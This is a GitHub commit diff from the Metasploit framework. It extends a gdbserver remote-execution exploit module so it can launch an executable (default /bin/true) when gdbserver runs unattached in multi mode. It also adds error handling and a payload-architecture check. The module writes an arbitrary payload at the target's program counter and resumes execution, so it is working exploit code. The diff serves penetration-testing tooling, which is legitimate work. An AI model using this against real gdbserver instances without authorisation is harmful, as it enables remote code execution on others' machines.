Skip to content

Commit 4293500

Browse files
committed
Implement running exe in multi.
1 parent 268d42c commit 4293500

File tree

2 files changed

+49
-8
lines changed

2 files changed

+49
-8
lines changed

lib/msf/core/exploit/gdb.rb

Lines changed: 21 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,12 @@ module Exploit::Remote::Gdb
1515

1616
include Msf::Exploit::Remote::Tcp
1717

18+
# thrown when an expected ACK packet is never received
19+
class BadAckError < RuntimeError; end
20+
21+
# thrown when a response is incorrect
22+
class BadResponseError < RuntimeError; end
23+
1824
# Default list of supported GDB features to send the to the target
1925
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
2026

@@ -31,10 +37,10 @@ def send_ack
3137
end
3238

3339
# Reads an ACK packet from the wire
34-
# @raise [RuntimeError] if a bad ACK is received
40+
# @raise [BadAckError] if a bad ACK is received
3541
def read_ack
3642
unless sock.get_once == '+'
37-
raise 'received bad ack'
43+
raise BadAckError
3844
end
3945
vprint_status('Received ack...')
4046
end
@@ -53,9 +59,11 @@ def send_cmd(cmd)
5359
# @param opts [Hash] the options hash
5460
# @option opts :decode [Boolean] rle decoding should be applied to the response
5561
# @return [String] the response
62+
# @raise [BadResponseError] if the expected response is missing
5663
def read_response(opts={})
5764
decode = opts.fetch(:decode, false)
5865
res = sock.get_once
66+
raise BadResponseError if res.nil?
5967
res = decode_rle(res) if decode
6068
vprint_status('Result: '+res)
6169
send_ack
@@ -95,9 +103,12 @@ def write(buf, addr)
95103

96104
# Steps execution and finds $PC pointer and architecture
97105
# @return [Hash] with :arch and :pc keys containing architecture and PC pointer
106+
# @raise [BadResponseError] if necessary data is missing
98107
def process_info
99108
data = step
100-
pc_data = data.split(';')[2].split(':')
109+
pc_data = data.split(';')[2]
110+
raise BadResponseError if pc_data.nil?
111+
pc_data = pc_data.split(':')
101112
my_arch = PC_REGISTERS[pc_data[0]]
102113
pc = pc_data[1]
103114

@@ -107,7 +118,8 @@ def process_info
107118

108119
{
109120
arch: my_arch,
110-
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '')
121+
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''),
122+
pc_raw: Integer(pc, 16)
111123
}
112124
end
113125

@@ -141,6 +153,11 @@ def step
141153
read_response(decode: true)
142154
end
143155

156+
def run(filename)
157+
send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}"
158+
read_response
159+
end
160+
144161
# Performs a handshake packet exchange
145162
# @param features [String] the list of supported features to tell the remote
146163
# host that the client supports (defaults to +DEFAULT_GDB_FEATURES+)

modules/exploits/multi/gdb/gdb_server_exec.rb

Lines changed: 28 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,14 @@ def initialize(info = {})
2727
'PrependFork' => true
2828
}
2929
))
30+
31+
register_options([
32+
OptString.new('EXE_FILE', [
33+
false,
34+
"The exe to spawn when gdbserver is not attached to a process.",
35+
'/bin/true'
36+
])
37+
], self.class)
3038
end
3139

3240
def exploit
@@ -35,13 +43,29 @@ def exploit
3543
print_status "Performing handshake with gdbserver..."
3644
handshake
3745

38-
print_status "Stepping program to find PC..."
39-
gdb_pc, gdb_arch = process_info.values_at :pc, :arch
46+
begin
47+
print_status "Stepping program to find PC..."
48+
gdb_data = process_info
49+
rescue BadAckError, BadResponseError
50+
# gdbserver is running with the --multi flag and is not currently
51+
# attached to any process. let's attach to /bin/true or something.
52+
print_status "No process loaded, attempting to load /bin/true..."
53+
run(datastore['EXE_FILE'])
54+
gdb_data = process_info
55+
end
56+
57+
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
4058

41-
p = regenerate_payload(nil, gdb_arch, nil)
59+
unless payload.arch.include? gdb_arch
60+
fail_with(
61+
Msf::Exploit::Failure::BadConfig,
62+
"The payload architecture is incorrect: "+
63+
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
64+
)
65+
end
4266

4367
print_status "Writing payload at #{gdb_pc}..."
44-
write(p.encoded, gdb_pc)
68+
write(payload.encoded, gdb_pc)
4569

4670
print_status "Executing the payload..."
4771
continue

0 commit comments

Comments
 (0)